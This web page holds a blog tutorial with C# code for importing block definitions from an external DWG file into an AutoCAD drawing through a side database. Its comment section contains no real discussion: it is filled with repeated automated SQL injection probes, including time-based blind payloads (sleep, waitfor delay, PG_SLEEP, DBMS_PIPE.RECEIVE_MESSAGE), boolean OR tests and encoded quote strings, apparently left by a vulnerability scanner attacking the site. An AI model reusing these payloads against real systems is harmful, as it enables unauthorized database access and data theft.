2006年8月18日

Import blocks from an external DWG file using .NET

Import blocks from an external DWG file using .NET

Import blocks from an external DWG file using .NET

We're going to use a "side database" - a drawing that is loaded in memory, but not into the AutoCAD editor - to import the blocks from another drawing into the one active in the editor.

Here's some C# code. The inline comments describe what is being done along the way. Incidentally, the code could very easily be converted into a RealDWG application that works outside of AutoCAD (we would simply need to change the destDb from the MdiActiveDocument's Database to the HostApplicationServices' WorkingDatabase, and use a different user interface for getting/presenting strings from/to the user).

using System;

using Autodesk.AutoCAD;

using Autodesk.AutoCAD.Runtime;

using Autodesk.AutoCAD.Geometry;

using Autodesk.AutoCAD.ApplicationServices;

using Autodesk.AutoCAD.DatabaseServices;

using Autodesk.AutoCAD.EditorInput;

using System.Collections.Generic;


namespace BlockImport

{

  public class BlockImportClass

  {

    [CommandMethod("IB")]

    public void ImportBlocks()

    {

      DocumentCollection dm =

          Application.DocumentManager;

      Editor ed = dm.MdiActiveDocument.Editor;

      Database destDb = dm.MdiActiveDocument.Database;

      Database sourceDb = new Database(false, true);

      PromptResult sourceFileName;

      try

      {

        // Get name of DWG from which to copy blocks

        sourceFileName =

          ed.GetString("\nEnter the name of the source drawing: ");

        // Read the DWG into a side database

        sourceDb.ReadDwgFile(sourceFileName.StringResult,

                            System.IO.FileShare.Read,

                            true,

                            "");


        // Create a variable to store the list of block identifiers

        ObjectIdCollection blockIds = new ObjectIdCollection();


        Autodesk.AutoCAD.DatabaseServices.TransactionManager tm =

          sourceDb.TransactionManager;


        using (Transaction myT = tm.StartTransaction())

        {

          // Open the block table

          BlockTable bt =

              (BlockTable)tm.GetObject(sourceDb.BlockTableId,

                                      OpenMode.ForRead,

                                      false);


          // Check each block in the block table

          foreach (ObjectId btrId in bt)

          {

            BlockTableRecord btr =

              (BlockTableRecord)tm.GetObject(btrId,

                                            OpenMode.ForRead,

                                            false);

            // Only add named & non-layout blocks to the copy list

            if (!btr.IsAnonymous && !btr.IsLayout)

              blockIds.Add(btrId);

            btr.Dispose();

          }

        }

        // Copy blocks from source to destination database

        IdMapping mapping = new IdMapping();

        sourceDb.WblockCloneObjects(blockIds,

                                    destDb.BlockTableId,

                                    mapping,

                                    DuplicateRecordCloning.Replace,

                                    false);

        ed.WriteMessage("\nCopied "

                        + blockIds.Count.ToString()

                        + " block definitions from "

                        + sourceFileName.StringResult

                        + " to the current drawing.");

      }

      catch(Autodesk.AutoCAD.Runtime.Exception ex)

      {

          ed.WriteMessage("\nError during copy: " + ex.Message);

      }

      sourceDb.Dispose();

    }

  }

}


And that's all there is to it. More information on the various objects/properties/methods used can be found in the ObjectARX Reference.

留下您的评论

评论 (62)

G
宾客 | 一年前

fQZBsgBx

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

-1 OR 2+243-243-1=0+0+0+1

G
宾客 | 一年前

-1 OR 3+243-243-1=0+0+0+1

G
宾客 | 一年前

if(now()=sysdate(),sleep(15),0)

G
宾客 | 一年前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
宾客 | 一年前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
宾客 | 一年前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
宾客 | 一年前

-1; waitfor delay '0:0:15' --

G
宾客 | 一年前

-1); waitfor delay '0:0:15' --

G
宾客 | 一年前

-1)); waitfor delay '0:0:15' --

G
宾客 | 一年前

1 waitfor delay '0:0:15' --

G
宾客 | 一年前

o4lgBcWy'; waitfor delay '0:0:15' --

G
宾客 | 一年前

ShQOBq3P'); waitfor delay '0:0:15' --

G
宾客 | 一年前

pdu6B2id')); waitfor delay '0:0:15' --

G
宾客 | 一年前

-5 OR 860=(SELECT 860 FROM PG_SLEEP(15))--

G
宾客 | 一年前

-5) OR 492=(SELECT 492 FROM PG_SLEEP(15))--

G
宾客 | 一年前

-1)) OR 795=(SELECT 795 FROM PG_SLEEP(15))--

G
宾客 | 一年前

futRaieo' OR 952=(SELECT 952 FROM PG_SLEEP(15))--

G
宾客 | 一年前

OQPx9zlo') OR 982=(SELECT 982 FROM PG_SLEEP(15))--

G
宾客 | 一年前

0OwrMKSa') OR 124=(SELECT 124 FROM PG_SLEEP(15))--

G
宾客 | 一年前

cecapeMM')) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

G
宾客 | 一年前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
宾客 | 一年前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),3)||'

G
宾客 | 一年前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),0)||'

G
宾客 | 一年前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
宾客 | 一年前

1'"

G
宾客 | 一年前

1����%2527%2522

G
宾客 | 一年前

@@11LiO

G
宾客 | 一年前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

l
lxbfYeaa | 11天前

xfiTy7mb

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

-1 OR 2+328-328-1=0+0+0+1

l
lxbfYeaa | 11天前

-1 OR 3+328-328-1=0+0+0+1

l
lxbfYeaa | 11天前

if(now()=sysdate(),sleep(15),0)

l
lxbfYeaa | 11天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

l
lxbfYeaa | 11天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

l
lxbfYeaa | 11天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

l
lxbfYeaa | 11天前

-1; waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-1); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-1)); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

1 waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

ED9SQFo0'; waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

eFjvmnRt'); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

YJv45kgM')); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-5 OR 172=(SELECT 172 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

-5) OR 733=(SELECT 733 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

-1)) OR 744=(SELECT 744 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

1GLyWBWg' OR 837=(SELECT 837 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

DYgtdy4V') OR 279=(SELECT 279 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

JVXtRxbn')) OR 723=(SELECT 723 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

l
lxbfYeaa | 11天前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

l
lxbfYeaa | 11天前

1'"

l
lxbfYeaa | 11天前

1����%2527%2522

l
lxbfYeaa | 11天前

@@J8RDj